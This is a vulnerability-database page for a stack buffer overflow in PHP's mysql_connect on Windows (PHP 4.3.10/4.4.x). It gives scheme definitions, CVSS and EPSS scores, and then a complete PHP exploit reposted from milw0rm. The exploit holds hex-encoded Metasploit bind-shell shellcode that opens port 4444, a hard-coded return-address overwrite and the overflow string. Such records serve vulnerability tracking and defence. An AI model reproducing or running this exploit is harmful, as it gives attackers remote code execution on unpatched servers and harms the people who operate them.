CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Stack-based buffer overflow in the create_named_pipe function in libmysql.c in PHP 4.3.10 and 4.4.x before 4.4.3 for Windows allows attackers to execute arbitrary code via a long (1) arg_host or (2) arg_unix_socket argument, as demonstrated by a long named pipe variable in the host argument to the mysql_connect function.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
11.86%
–
–
2022-04-03
–
–
11.86%
–
–
2023-03-12
–
–
–
1.93%
–
2023-04-16
–
–
–
1.89%
–
2024-02-11
–
–
–
1.89%
–
2024-06-02
–
–
–
1.89%
–
2024-06-09
–
–
–
–
–
2024-06-09
–
–
–
1.89%
–
2024-06-16
–
–
–
1.89%
–
2024-12-22
–
–
–
3.57%
–
2025-01-05
–
–
–
3.57%
–
2025-01-19
–
–
–
3.57%
–
2025-03-18
–
–
–
–
6.63%
2025-03-30
–
–
–
–
12.24%
2025-03-30
–
–
–
–
12.24,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
<?php
/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP 1. If another operating system is used,
the replacement EIP must be changed.
The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.
The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.
Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.
Cut from advisory (untested) /str0ke
*/
//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only
$eip = "71AB5651"; //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0
$esi = "10000000"; //ESI - Temporary. The memory under this location will be trashed.
//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");
//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2);
$overflowstring = "localhost:/";
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip); //EIP
$overflowstring .= pack("H*",$esi); //ESI
$overflowstring .= "/";
//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";
mysql_connect($overflowstring, $shellcode);
?>
# milw0rm.com [2006-01-05]